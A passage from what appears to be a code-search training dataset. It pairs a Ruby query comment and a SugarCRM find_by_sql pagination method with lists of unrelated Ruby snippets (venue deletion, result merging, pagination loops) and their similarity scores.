"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to(venues_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to(venues_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to(venues_url) }\n format.xml { head :ok }\n end\n end",
"def unlinked\n reject(&:linked?)\n end",
"def disconnect_connection(conn)\n sync{@size[0] -= 1}\n super\n end",
"def unsubscribe\n return if self.hub.nil?\n\n change_subscription(:unsubscribe)\n end",
"def unsubscribe_clients(channel)\n send_action('unsubscribe_clients', channel)\n end",
"def destroy\n @point_of_contact.destroy\n\n head :no_content\n end",
"def remove(conn)\n synchronize do\n @connections.delete conn\n @available.delete conn\n\n release conn, conn.owner\n\n @available.add checkout_new_connection if @available.any_waiting?\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :ok }\n end\n end",
"def unjoin(&block)\n @objs.find(&block)\n end",
"def unfriend!(resource)\n redis.multi do\n redis.hdel(friend_list_key, resource.id)\n redis.hdel(resource.friend_list_key, self.id)\n end\n end",
"def depart(agent)\n @agent = nil\n end",
"def unsubscribe\n @subscription_reference.unsubscribe\n end",
"def destroy_and_undefine\n # Shamb0_TODO_20200609=>POC/WT-bringup\n # old_net = @virt.lookup_network_by_name(@net_name)\n # old_net.destroy if old_net.active?\n # old_net.undefine\n rescue StandardError\n # Nothing to clean up\n end",
"def delete\n MoxiworksPlatform::Contact.delete(self.to_hash)\n end",
"def clean\n\t\t\twas_updated = updated?\n\t\t\tunsubscribe\n\t\t\t@registered = false\n\n\t\t\tBridge.notify_bridge_callbacks self, false if was_updated\n\n\t\t\t@verified = false\n\t\t\t@config = nil\n\t\t\t@lights.clear\n\t\t\t@groups.clear\n\t\t\t@update_callbacks.clear\n\t\tend",
"def delete\n @@contacts.delete(self)\n end",
"def delete\n @@contacts.delete(self)\n end",
"def revert_to(status)\n if status == AbsenteeNotStarted\n self.county = nil\n self.town = nil\n self.zip_code = nil\n end\n end",
"def unenroll\n company = Company.find( params[:company_id])\n current_user_id = current_user( company.slug).id\n #user = User.find( current_user_id)\n course = Course.find( params[:id])\n if course.category == 1\n #course.users.delete(user)\n signup = course.course_signups.find_by_user_id( current_user_id)\n signup.destroy\n else\n signup = course.course_signups.find_by_user_id( current_user_id)\n signup.status = 0\n signup.save\n end\n redirect_to company_trainings_path( company.slug)\n end",
"def remove_connection(connection)\n self.connections.delete(connection.id)\n end",
"def disassociate\n disassociate_address(_id)\n end",
"def destroy\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def unsubscribe\n check_subscribed!\n subscription.unsubscribe_from_channel\n end",
"def destroy\n @venue.destroy\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def unbind\n @gateway_handler.disconnect(self)\n end",
"def unauth\n #raise Apartment::TenantNotFound\n nil\n end"
] |
[
"0.6354718",
"0.6132487",
"0.5783989",
"0.57795966",
"0.5773787",
"0.5703839",
"0.5615233",
"0.55814004",
"0.5576573",
"0.55573374",
"0.55552423",
"0.5515391",
"0.5503913",
"0.5503913",
"0.54789364",
"0.5447988",
"0.5444858",
"0.5421188",
"0.54152054",
"0.5400742",
"0.5400669",
"0.53869337",
"0.53858453",
"0.53767204",
"0.5370323",
"0.53687423",
"0.53643125",
"0.53529465",
"0.5352451",
"0.5351003",
"0.534275",
"0.53300416",
"0.5303074",
"0.5302308",
"0.52998346",
"0.5297385",
"0.52948",
"0.5287341",
"0.5272126",
"0.527152",
"0.52677107",
"0.52580994",
"0.52580994",
"0.5242185",
"0.5236963",
"0.52193683",
"0.52079284",
"0.51980084",
"0.51832044",
"0.51775366",
"0.5175203",
"0.5161964",
"0.5157948",
"0.5157778",
"0.5153754",
"0.514757",
"0.5135194",
"0.5126257",
"0.5109696",
"0.5105884",
"0.5096135",
"0.50951463",
"0.50943756",
"0.5091605",
"0.50882155",
"0.50868624",
"0.50853384",
"0.507932",
"0.507932",
"0.507932",
"0.507932",
"0.5077543",
"0.5077543",
"0.5077543",
"0.5077543",
"0.50753635",
"0.50731206",
"0.5070241",
"0.506256",
"0.5048474",
"0.5046735",
"0.50454754",
"0.5043513",
"0.5030363",
"0.5028715",
"0.5028357",
"0.5027727",
"0.5026632",
"0.5025666",
"0.5018256",
"0.5018256",
"0.5012002",
"0.5010737",
"0.50065434",
"0.500353",
"0.50016725",
"0.4991996",
"0.499164",
"0.4991477",
"0.49913728"
] |
0.8274814
|
0
|
The venues that are not connected to the contact.
|
def unconnected_venues
unconnected = []
Venue.all.each do |venue|
unconnected << venue if venues.exclude? venue
end
return unconnected
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_nearby_venues\n Venue.where([\"neighbourhood_id = ? and id <> ?\", self.neighbourhood_id, self.id])\n end",
"def is_not_at_facility\n Venue.all - self.venues\n end",
"def blockable_venues\n venues = Venue.joins(\"JOIN centers_venues ON venues.id = centers_venues.venue_id\").where('centers_venues.center_id = ? AND venues.state = ? ', self.center_id, ::Venue::STATE_POSSIBLE).order('LOWER(venues.name) ASC').all\n blockable_venues = []\n venues.each {|venue|\n blockable_venues << venue if venue.can_be_blocked_by?(self)\n }\n blockable_venues\n end",
"def onsite_holdings\n holdings.select do |holding|\n !is_offsite_location_code?(holding[:location_code])\n # !LOCATIONS['offsite_locations'].include? holding[:location_code]\n end\n end",
"def listings\n list = []\n venues = Venue.all.select {|venue|venue.area_id == self.id}\n venue_ids = venues.map {|venue| venue.id}\n Listing.all.select do |listing|\n if venue_ids.any?(listing.venue_id)\n list << listing\n end\n end\n list\n end",
"def venues_held_at\n find_related_frbr_objects( :is_held_at, :which_roles?) \n end",
"def rooms_unavailable\n return @occupied.keys\n end",
"def get_venue_ids\n @venue_ids = []\n @recommended_venues.each do |venue|\n @venue_ids << venue[\"id\"]\n end\n @venue_ids\n end",
"def venues_presented_at\n find_related_frbr_objects( :is_presented_by, :which_roles?) \n end",
"def unconnected\n\t\tu = @people.select do | key, person |\n\t\t\tperson.father_id == nil and person.mother_id == nil and\n\t\t\tperson.children_ids == []\n\t\tend \n\t\tu.map { | key, person | person }\t\t\n\tend",
"def missed_contacts\n @contacts.where(contact_type: 'PBX', answered: nil, after_call_ended: nil, direction: 'I').where.not(call_ended: nil, service_id: 120)\n end",
"def get_venue_ids\n @recommended_venues.each do |venue| \n @venue_ids << venue[\"id\"] \n end\n @venue_ids\n end",
"def not_visited\n Museum.all - self.museums\n end",
"def unconnected_links\n\t\tLink.available.select { |l| links.find_by(provider: l[:link_name] || l[:name].downcase) == nil }\n\tend",
"def is_at_facility\n self.venues\n end",
"def connected_rooms\n return (self.exits.map(&:destination) + @entrances.to_a).reject{ |room| room == self }\n end",
"def not_covered\n items = Array.new\n\n vehicles.each do |v|\n unless v.covered?\n items << v\n end\n end\n\n items\n end",
"def no_convocateds\n self.players.no_convocated\n end",
"def not_visitors\n User.all - self.users\n end",
"def enemy_neighbors(v)\n Set.new neighbors(v).select { |p| p.color != v.color && p.color != Move.colors[\"blank\"] }\n end",
"def not_sent\n @collection.reject(&:sent?)\n end",
"def venues(options = {})\n self.class.require_latitude_and_longitude(options)\n\n response = self.class.get(\"/venues.json\", :query => options, :basic_auth => @auth)[\"venues\"]\n response && response.flatten\n end",
"def find_unregistered_guests(id)\r\n @unreg_guests = []\r\n PrivateInvite.find_all_by_private_event_id(@event.id).each do |g|\r\n if !User.find_by_email(g.email)\r\n @unreg_guests << g.email\r\n end\r\n end\r\n @unreg_guests \r\n end",
"def find_all_non_visited_cities\n all_cities = cities()\n non_visited = []\n for city in all_cities\n if city.visited == 0\n non_visited.push(city)\n end\n end\n return non_visited\n end",
"def managed_venues\n response = get(\"/venues/managed\")[\"response\"]\n @venues = response[\"venues\"].collect{|venue| Foursquared::Response::Venue.new(self, venue)}\n end",
"def managed_venues\n\t\t\t get('venues/managed').venues\n\t\t\tend",
"def events_only\n return (@events.values - self.battlers)\n end",
"def index\n @invites = current_user.invites.where(is_declined: nil).all\n end",
"def unregistered_events\n tournament\n .schedules\n .keep_if { |s| s.is_scheduled_online? && s.division == division } -\n sign_ups.map{|x| x.try(:timeslot).try(:schedule) }\n end",
"def participants\n people.select{|person| !person.guide }\n end",
"def people(convo)\n @recipients = convo.conversation.users.where('user_id <> ?', current_user)\n end",
"def volunteers\n this_group_volunteers = []\n participants.includes(:volunteers).each do |participant|\n unless participant.volunteers.empty?\n this_group_volunteers += participant.volunteers\n end\n end\n this_group_volunteers\n end",
"def get_non_friends\n\n userFriends = self.all_friends\n userNotFriends = User.all_except(userFriends)\n\n #user is not friend of himself, next line break do this\n userNotFriends = userNotFriends.all_except(self)\n\n return userNotFriends\n end",
"def all_veins\n mapblock.block_events.grep(BlockSquareEventMineralst)\n end",
"def empty_neighbours point\n neighbours(point).select do |(x, y)|\n at(x, y) < 0\n end\n end",
"def unfollowed_events\n events.where(visited: false).select do |event|\n !(event.next_event? || event.choices?)\n end\n end",
"def not_visitors_count\n self.not_visitors.count\n end",
"def civ_unsubmitted_players\n return if !@daemon\n\n status = @daemon.status\n if status['civ']\n Set.new status['civ']['players_unsubmitted']\n end\n end",
"def unmarked_employees\n self.workplace.employees.where.not(id: self.employees.map(&:id))\n end",
"def members_not_responding\n memb = sent_messages.map { |sm| (sm.msg_status || -1) < MessagesHelper::MsgDelivered ? sm.member : nil }.compact\n end",
"def unverified_hosts\n hosts.unverified.pluck(:name)\n end",
"def incident_edges v\n\t\ttemp_array = []\n\t\tfor i in 0..num_edges-1\n\t\t\tif @Edges[i].points[0] == v.label\n\t\t\t\ttemp_array << @Edges[i]\n\t\t\telsif @Edges[i].points[1] == v.label\n\t\t\t\ttemp_array << @Edges[i]\n\t\t\tend\n\t\tend\n\t\treturn temp_array\n\tend",
"def get_tournament_attendees(status)\n list = self.tournament_attendees.to_a(); #record of user attedance\n list.reject! { |i| i.tournament.status != GlobalConstants::TOURNAMENT_STATUS[status] }\n return list;\n end",
"def countries_not_in_selected_regions\n country_list = []\n @countries.each do |country|\n not_in_region = true\n @regions.each do |region|\n if region[:countries].include? country[:slug]\n not_in_region = false\n break\n end\n end\n country_list.push(country) if not_in_region\n end\n country_list\n end",
"def not_friends\n #TODO - get a better implementation of this\n not_me = User.all.includes(:friends).where.not(id: self.id).limit(50)\n not_my_friends = not_me.select{|user| !self.friends.exists?(user.id)}\n not_my_friends\n end",
"def get_unissued_invites()\n User.find(session[:user_id]).unissued_invites\n end",
"def voters_who_voted\n votes.map(&:voter).uniq\n end",
"def exclude_locations\n return @exclude_locations\n end",
"def excluding_viewers_list\n names_string(self.viewers)\n end",
"def excluded_trackers\n Tracker.select(:id)\n .where(\n \"#{Tracker.table_name}.id IN (?) OR #{Tracker.table_name}.fields_bits & ?\",\n RedmineWbs.excluded_tracker_ids,\n RedmineWbs.required_core_field_bits\n )\n end",
"def get_bet_opponents(bet_id)\n opps = []\n Bet.find(bet_id).invites.each do |i|\n opps.push i.invitee if i.status == \"accepted\"\n end\n return opps\n end",
"def incidents\n return @incidents\n end",
"def index\n @venues = current_user.venues\n @venue_list = []\n @avail_venues = Venue.near(current_user,Vba::Application::SEARCH_RANGE)\n @avail_venues.each do |v|\n if v.user_id.nil?\n @venue_list << v\n end\n end\n @avail_venues = @venue_list\n @avail_venues.sort { |a,b| a.name <=> b.name }\n @venues.sort { |a,b| a.name <=> b.name }\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venues }\n end\n end",
"def villagers\r\n Villager.all.find_all{ |villager| villager.personality == self}\r\n end",
"def teams_unaccepted\n requests.where(is_accepted: false).map(&:team).flatten\n end",
"def non_baculized_hosts\n hosts.not_baculized.pluck(:name)\n end",
"def guests()\n self.trips().map() { | trip | trip.guest }.uniq\n end",
"def countries_blocked_for_minors\n return @countries_blocked_for_minors\n end",
"def new_invites\n self.invites.all(:hide => false)\n end",
"def get_disconnected_peers\n filter_by_state = { :state => 1 }\n disconnected = self.peers filter_by_state\n end",
"def fetch_non_favorite_bar_events()\n events = Hash.new\n temp = Bar.find(:all, :select => 'bars.name, bar_events.detail', :joins => :bar_event, :conditions => ['bars.id not in (select bar_id from favorites where user_id = ?) and verified = 1', [self.id] ])\n for t in temp do\n\t if events.key?(t.name)\n\t events[t.name] << t.detail\n\t else\n\t events[t.name] = [t.detail]\n\t end\n\tend\n\t\n\tevents\n end",
"def missed_destinations(chosen_road)\n # An array of all the roads left behind\n roads_left_behind = roads_available.reject {|road| road == chosen_road }\n # collect the destination left behind with those roads \n roads_left_behind.map { |road| road.the_city_opposite(@current_city)}\n\n end",
"def airports_out_of_region\n return @airports_all.keys - @airports_in_region.keys\n end",
"def get_all_identified_view_events\n WorkViewStat.where( 'user_id is not NULL' )\n end",
"def non_interview_reports_for_activity(person, survey, contact_link)\n person.non_interview_reports.select do |nir|\n !nir.response_set.nil? &&\n nir.response_set.survey.title == survey.title &&\n contact_link.event.contacts.include?(nir.contact)\n end\n end",
"def filtered_receivers\n @receivers\n end",
"def get_new_broadcasts\n newBroadcasts = []\n BroadcastMessage.all.each do |broadcast|\n if !broadcast.user_has_viewed(self.id)\n newBroadcasts << broadcast\n end\n end\n newBroadcasts\n end",
"def events_at_venue(venue)\n venue_events[venue.id]\n end",
"def poolplay_team_objects\n self.teams.select { |team| !team.playoffs }\n end",
"def invited_institutions\n invitation_codes.collect(&:institution).uniq.compact\n end",
"def direct_neighbors\n VirtualMachine.where(host: host).select do |vm|\n vm.account == account && vm.id != id\n end\n end",
"def verificaciones_vins\n return false unless self.verificaciones?\n if self.user_vin_valid?\n return [ self.user_vin ]\n else\n return @api['verificaciones'].collect { |i|\n i['vin'] if i['vin'].upcase != 'DESCONOCIDO'\n }.compact.uniq\n end\n end",
"def is_not_on_staff\n #Team.find(:all) - self.teams\n Team.all - self.teams\n end",
"def index\n @venues = current_user.venues\n end",
"def live_neighbours\n self.neighbours.select do |n|\n n && n.is_alive?\n end\n end",
"def dead_opponents(battler = $game_player)\n opponents = []\n @action_battlers.each do |key, members|\n next if key == battler.team_id\n members.compact.each do |member|\n next unless member.dead?\n opponents.push(member)\n end\n end\n return opponents\n end",
"def answered_contacts\n @contacts.where(contact_type: 'PBX').where.not(answered: nil, service_id: 120)\n end",
"def unclustered_points\n points.select {|point| not point.clustered? }\n end",
"def uncrawled\n includes(:company).where('`companies`.`court_crawled` = ? OR `companies`.`idinfo_crawled` = ?', false, false)\n end",
"def neighbor_exclusions(neighbor_possibilities)\n neighbor_possibilities.select do |possibilities|\n neighbor_possibilities.count(possibilities) == possibilities.length\n end\n end",
"def users_not_responding\n # subscriptions_user_ids = self.plan_subscriptions.map {|subscription| subscription.user.id }\n subscribers_user_ids = subscribers.pluck(:id) #subscribers.map {|user| user.id }\n return group.users if subscribers_user_ids.empty?\n group.users.where('id NOT IN (?)',subscribers_user_ids)\n end",
"def getProjectsNoMember()\r\n\t\tnoMemberProjects = []\r\n\t\t@allProjects.each do |project|\r\n\t\t\tif !(User.current.member_of?(project))\r\n\t\t\t\tnoMemberProjects = noMemberProjects << project\r\n\t\t\tend\t\r\n\t\tend\r\n\t\treturn noMemberProjects\r\n\tend",
"def unreviewed_comments\n comments.select {|comment| comment.approved.nil? }\n end",
"def closed_contacts\n @contacts.where(contact_type: 'PBX').where.not(call_ended: nil, answered: nil, service_id: 120, after_call_ended: nil)\n end",
"def venue_categories\n response = get(\"/venues/categories\")[\"response\"]\n response[\"categories\"].collect{|category| Foursquared::Response::Category.new(self, category) }\n end",
"def events\n # FIXME this logic belongs in the Event model. stop leaking AR outside of the model\n @events ||= Event.includes(:upcoming_observances).where(\"observances.start_on >= ?\", Date.current).references(:observances)\n end",
"def where_no_developers\n [[:educator_id, '!=', 12],\n [:educator_id, '!=', 509]]\n end",
"def venue_name\n venue.name if venue\n end",
"def unavailable_players\n players = []\n self.cached_teamsheet_entries.each do |teamsheet_entry|\n if teamsheet_entry.response_status == InviteResponseEnum::UNAVAILABLE\n players << teamsheet_entry.user\n end\n end\n players\n end",
"def pending_invites\n list = []\n pending_contacts.links(:class=>\"s3d-bold s3d-regular-light-links\", :title=>/View/).each { |link| list << link.text }\n return list\n end",
"def late_events\n candidate_events.select(&:late?)\n end",
"def index\n @neighborhoods = Neighborhood.all_cached.to_a\n\n @venue_array = @venues.all_cached.order(\"name ASC\").to_a\n end",
"def userless_people\n people.select{|p| p.user.nil?}\n end",
"def vouchees\n vouches_as_voucher.map { |v| v.vouchee }\n end",
"def all_competitor_results\n nil\n end",
"def all_competitor_results\n nil\n end",
"def all_competitor_results\n nil\n end",
"def all_competitor_results\n nil\n end",
"def all_competitor_results\n nil\n end",
"def other_pokemon_entities\n other_mon = (0...other_pokemon_count).map { |i| $storage.other_party[i] }\n other_mon.compact!\n other_mon.reject!(&:dead?)\n return other_mon\n end"
] |
[
"0.7064674",
"0.6641354",
"0.619172",
"0.5953587",
"0.59016824",
"0.58992624",
"0.58362865",
"0.5779905",
"0.57712513",
"0.5760179",
"0.56878024",
"0.56847376",
"0.56773937",
"0.5638697",
"0.56229407",
"0.55814725",
"0.5548656",
"0.5518197",
"0.55110043",
"0.5488991",
"0.5486064",
"0.54832804",
"0.547821",
"0.54705805",
"0.54466444",
"0.54359317",
"0.5428682",
"0.54062563",
"0.5375371",
"0.5349879",
"0.53490156",
"0.53452307",
"0.53434837",
"0.53406805",
"0.5331463",
"0.5318205",
"0.5317229",
"0.531216",
"0.53109175",
"0.5309791",
"0.52994925",
"0.5299052",
"0.52959824",
"0.52891225",
"0.5285587",
"0.5283517",
"0.52814776",
"0.52810293",
"0.5277087",
"0.5265002",
"0.5260127",
"0.5260098",
"0.5249224",
"0.5244922",
"0.5223732",
"0.520697",
"0.52035",
"0.52005225",
"0.5199607",
"0.51881284",
"0.51863515",
"0.51816535",
"0.51618296",
"0.516095",
"0.51588255",
"0.5154779",
"0.51541823",
"0.51515543",
"0.5151293",
"0.5147162",
"0.51465243",
"0.51410395",
"0.5131394",
"0.5131069",
"0.51179373",
"0.51161444",
"0.5115149",
"0.51137817",
"0.5108026",
"0.50977826",
"0.50922036",
"0.5090708",
"0.5083423",
"0.5083379",
"0.50832266",
"0.50787896",
"0.50748473",
"0.5065607",
"0.50638306",
"0.50636804",
"0.5063407",
"0.50590664",
"0.5050752",
"0.5047014",
"0.50411606",
"0.50411606",
"0.50411606",
"0.50411606",
"0.50411606",
"0.50399524"
] |
0.78305715
|
0
|
results accumulator stores the results we have fetched so far, recursively
|
def find_by_sql(options, results_accumulator=nil, &block)
# SugarCRM REST API has a bug (fixed in release _6.4.0.patch as indicated in SugarCRM bug number 43338)
# where, when :limit and :offset options are passed simultaneously,
# :limit is considered to be the smallest of the two, and :offset is the larger
# In addition to allowing querying of large datasets while avoiding timeouts (by fetching results in small slices),
# this implementation fixes the :limit - :offset bug so that it behaves correctly
offset = options[:offset].to_i >= 1 ? options[:offset].to_i : nil
# if many results are requested (i.e. multiple result slices), we call this function recursively
# this array keeps track of which slice we are retrieving (by updating the :offset and :limit options)
local_options = {}
# ensure results are ordered so :limit and :offset option behave in a deterministic fashion
local_options[:order_by] = :id unless options[:order_by]
# we must ensure limit <= offset (due to bug mentioned above)
if offset
local_options[:limit] = [offset.to_i, SLICE_SIZE].min
local_options[:offset] = offset if offset
else
local_options[:limit] = options[:limit] ? [options[:limit].to_i, SLICE_SIZE].min : SLICE_SIZE
end
local_options[:limit] = [local_options[:limit], options[:limit]].min if options[:limit] # don't retrieve more records than required
local_options = options.merge(local_options)
query = query_from_options(local_options)
result_slice = connection.get_entry_list(self._module.name, query, local_options)
return results_accumulator unless result_slice
result_slice_array = Array.wrap(result_slice)
if block_given?
result_slice_array.each{|r| yield r }
else
results_accumulator = [] unless results_accumulator
results_accumulator = results_accumulator.concat(result_slice_array)
end
# adjust options to take into account records that were already retrieved
updated_options = {:offset => options[:offset].to_i + result_slice_array.size}
updated_options[:limit] = (options[:limit] ? options[:limit] - result_slice_array.size : nil)
updated_options = options.merge(updated_options)
# have we retrieved all the records?
if (updated_options[:limit] && updated_options[:limit] < 1) || local_options[:limit] > result_slice_array.size
return results_accumulator
else
find_by_sql(updated_options, results_accumulator, &block)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_results (results)\n\t\t\tresults.each do |result|\n\t\t\t\tresult = process_result(result)\n\t\t\tend\n\t\t\treturn results\n\t\tend",
"def collect_results\n while collect_next_line; end\n end",
"def results\n fetch unless @results\n @results\n end",
"def merge_results(*results); end",
"def merge_results(*results); end",
"def merge_results(*results); end",
"def results\n @results ||= {}\n end",
"def get_results\n\n # An internal counter to get the next\n # set of results from the API\n @result_count = 0\n\n # An array into which the API results can\n # be collected\n @results = []\n\n # Get the first set of results from the API\n json_response = self.query\n\n while true\n\n # Exit the loop if the API doesn't return\n # any results and set the \"skip\" attribute\n # to nil\n if json_response['result_count'] == 0\n self.skip= nil\n break\n end\n\n # Add the count of the returned results to the\n # internal result counter's current value\n @result_count += json_response['result_count']\n\n # Append the current results to the results\n # array\n @results << json_response['results']\n\n # Set the \"skip\" attribute to the value\n # on the internal result counter\n self.skip= @result_count\n\n # Get the next set of results from the API\n json_response = self.query\n\n # A simple progress bar\n print \"#\"\n\n end\n\n # Print the total result count to the console\n puts \"\\nFound #{@result_count} results.\"\n\n return @results\n\n end",
"def results\n populate\n @results\n end",
"def results; end",
"def results; end",
"def results; end",
"def each_result(&blk)\n @@RESULT_DIRS.keys.each do |k|\n blk.call(k, result(k)) unless result(k).nil?\n end\n end",
"def merge_results_from_worker(results)\n @mutex.synchronize do\n results.each do |r|\n new_props = @job_inst.collector_combine_block(r, @n, @val)\n @n = new_props[:n]\n @val = new_props[:val]\n end\n end\n end",
"def each\n current_result = self\n begin \n last_result = current_result\n current_result.elements[:results].each do |result|\n\t# The collection of refs we are holding onto could grow without bounds, so dup\n\t# the ref\n\tyield result.dup\n end\n current_result = current_result.next_page if current_result.more_pages?\n end while !last_result.equal? current_result\n end",
"def handle_results(results:)\n if results.empty?\n puts \"No results for: \\\"#{@query}\\\"\".bold.red\n else\n results.each do |key, result|\n puts \"\\n\\\"#{@query}\\\", found in: \\\"#{key}\\\"\".bold.green\n ap result\n end\n end\n end",
"def results\n @@RESULT_DIRS.keys.map{ |k| result(k) }.reject{ |r| r.nil? }\n end",
"def collect_results(finished)\n finished.map{ |f| collect_result(f) }\n end",
"def results\n @results\n end",
"def nextResults\n # Update results\n updateResults(@nextURI)\n\n # Update nextURI\n updateNextURI\n end",
"def pump_results!\n loop do\n distribute_results!\n end\n end",
"def results\n numOfSearches = numEvents / @OFFSET #the number of searches we must make to return all values\n result = Array.new\n if (complete?)\n for i in 0..numOfSearches\n result.push( @client.get_request(\"/services/search/jobs/#{@sid}/results\", {'output_mode' => @OUTPUT_MODE, 'count' => @OFFSET, 'offset' => (@OFFSET * i)}))\n end\n end\n result\n end",
"def parse_results(results)\n out = []\n results = [results] if results.is_a?(Hash) # no array if only one result\n results.each do |r|\n out << Result.new(r)\n end\n out\n end",
"def each_result(results = last_results, &block)\n results.each do |result|\n block.call(Hashie::Mash.new(result))\n end\nend",
"def flattened_results\n\n f2 = results.flatten(2)\n f2.any? ? [ f2.shift ] + f2.flatten(2) : []\n end",
"def calculate_results\n Repository::Config.new(@repo, @log, @process, @type).status(5) {\n files = files_to_analyze\n puts '-----Files to analyze done (Step 1)'\n files = prepare_files_to_rate files\n puts '-----Prepare files to rate done (Step 2)'\n files = count_total_lines files\n puts '-----Count total lines done (Step 3)'\n files = count_errors files\n puts '-----Count errors done (Step 4)'\n files = grade_categories files\n puts '-----Grade categories done (Step 5)'\n files = grade_files files\n puts '-----Grade files done (Step 6)' + files.to_s\n gpa = grade_repo files\n puts '-----Grade repos done (Step 7)' + gpa.to_s\n gpa_percent = get_overall_grades files\n puts '-----Grade overall percentage done (Step 8)' + gpa_percent.to_s\n cat_issues = get_category_issues files\n puts '-----Get categories issues done (Step 9)' + cat_issues.to_s\n store_cat_issues cat_issues\n puts '-----Store category issues done (Step 10)'\n store_grades gpa, gpa_percent\n puts '-----Store grades done (Step 11)'\n }\n end",
"def results\n @results ||= with_hit.map(&:first)\n end",
"def results ; @@RESULT_DIRS.keys.map{ |k| result k }.compact ; end",
"def combine_results(*hashes)\n final_hash = {\n 'http_code_distribution' => {},\n 'latency_distribution' => {}\n }\n to_add = ['errors', 'latency_sum', 'requests']\n to_combine = ['latency_distribution', 'http_code_distribution']\n\n to_add.each do |item|\n final_hash[item] = 0\n end\n\n hashes.each do |this_hash|\n next if this_hash == nil\n to_add.each do |key|\n final_hash[key] += this_hash[key] if this_hash.has_key?(key)\n end\n to_combine.each do |key|\n final_hash[key] = combine_hashes(final_hash[key], this_hash[key])\n end\n end\n return final_hash\nend",
"def result\n if success?\n results = to_hash['results'] || []\n count == 1 ? results.first : results\n else\n []\n end\n end",
"def fetch_results!\n raise NoTargets if targets.empty?\n\n targets.uniq!\n\n puts 'searching the AUR...'\n results = Rpc.new(:multiinfo, *targets).call\n\n # we need the results in the order of our targets (so dependencies\n # are installed first). unfortunately, the rpc returns results\n # alphabetically. assumption is the reordering done here is\n # cheaper than making per-target rpc calls.\n targets.each do |target|\n if result = results.detect {|r| r.name == target}\n @results << result\n else\n raise NoResults.new(target)\n end\n end\n end",
"def accumulate(r0, labels, rs)\n source = r0.source\n start = r0.stop_index\n stop = rs.empty? ? start : rs[-1].stop_index\n if labels\n labels.each_with_index do |label, i|\n rs[i].key_in_parent = label if label\n end\n end\n factor_result(source, start, stop, rs)\n end",
"def accumulate_raw_data(force = false)\n puts \"Accumulating: ActivityCourse... \", true\n for quarter in @quarters\n activity_courses = ActivityCourse.of_type(@activity_type).for_quarter(quarter)\n print \" #{quarter.abbrev}: #{activity_courses.size.to_s.ljust(4)} \"\n for activity_course in activity_courses\n for registrant in activity_course.registrants\n if !registrant.failed? && !registrant.credits.zero?\n add_result(registrant.system_key, quarter, activity_course, registrant)\n end\n end\n print \".\"\n end\n print \"\\n\"\n end\n puts \"\\n#{@results.size} unique students.\"\n puts \"Saved results output to #{dump_results!(:raw)}\"\n \n puts \"Accumulating: ActivityProject... \", true\n activity_projects = ActivityProject.of_type(@activity_type).for_quarter(@quarters)\n for activity_project in activity_projects\n print \"|\"\n for activity_quarter in activity_project.quarters\n if @quarters.include?(activity_quarter.quarter)\n add_result(activity_project.system_key, activity_quarter.quarter, activity_project, activity_quarter)\n print \".\"\n end\n end\n end\n print \"\\n\"\n puts \"\\n#{@results.size} unique students.\"\n puts \"Saved results output to #{dump_results!(:raw)}\"\n \n puts \"Accumulating: ServiceLearningPlacement... \", true\n if @activity_type.abbreviation == SERVICE_LEARNING_ACTIVITY_TYPE_ABBREVIATION\n for quarter in @quarters\n print \" #{quarter.abbrev}: \"\n placements = quarter.service_learning_placements.select(&:filled?)\n print \"#{placements.size.to_s.ljust(4)} \"\n for placement in placements\n system_key = placement.person.is_a?(Student) ? placement.person.system_key : nil\n if system_key\n add_result(system_key, quarter, placement, placement)\n print \".\"\n else\n print \"X\"\n end\n end\n print \"\\n\"\n end\n else\n print \" (skipping)\"\n end\n print \"\\n\"\n puts \"\\n#{@results.size} unique students.\"\n puts \"Saved results output to #{dump_results!(:raw)}\"\n\n puts \"Accumulating: ApplicationForOfferings... \", true\n for quarter in @quarters\n print \" #{quarter.abbrev}: \"\n offerings_by_quarter = Offering.find_all_by_activity_type_id_and_quarter_offered_id(@activity_type, quarter)\n offerings_by_acc_quarter = Offering.find_all_by_activity_type_id_and_accountability_quarter_id(@activity_type, quarter)\n offerings = (offerings_by_quarter + offerings_by_acc_quarter).flatten\n puts \"#{offerings.size.to_s.ljust(4)}\"\n for offering in offerings\n print \" #{offering.title.ljust(40)}: \"\n if offering.count_method_for_accountability.blank?\n puts \"No count method defined\" \n next\n end\n apps = offering.accountability_objects\n print \"#{apps.size}\\n \"\n for app in apps\n print \"|\"\n system_key = app.respond_to?(:person) ? app.person.try(:system_key) : app.system_key\n if system_key.nil?\n print \"?\"\n next \n end\n if offering.accountability_quarter\n add_result(system_key, quarter, offering, app)\n print \".\"\n else\n for award in app.awards.valid\n if @quarters.include?(award.requested_quarter)\n add_result(system_key, award.requested_quarter, offering, award)\n print \"#{award.number_of_hours.to_s}/\"\n else\n print \"X/\"\n end\n end\n end\n end\n print \"\\n\"\n end\n end\n print \"\\n\"\n puts \"\\n#{@results.size} unique students.\"\n puts \"Saved results output to #{dump_results!(:raw)}\"\n end",
"def while_results(&block)\n loop do\n results = get![:results]\n break if results.nil? || results.empty?\n results.each(&block)\n end\n end",
"def results\n# not_observed, no_relation, shows_progress, meets_standard, exceeds_standard\n# For Plan, Presentation, Activity, Assessment, Climate\n results = [[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0]]\n \n # If application Complete (no section is nil)\n if (completed)\n (0..4).each do |i|\n results[0][i] += plan.planResults[i] \n results[1][i] += presentation.presentationResults[i] \n results[2][i] += activity.activityResults[i] \n results[3][i] += assessment.assessmentResults[i] \n results[4][i] += climate.climateResults[i]\n end\n end\n \n return results\n end",
"def result_response\n [\n total_hits_node,\n results_node(:top_results, @top_results),\n results_node(:other_results, @other_results),\n results_node(:filtered_results, @filtered_results),\n errors_node\n ].inject(&:merge)\n end",
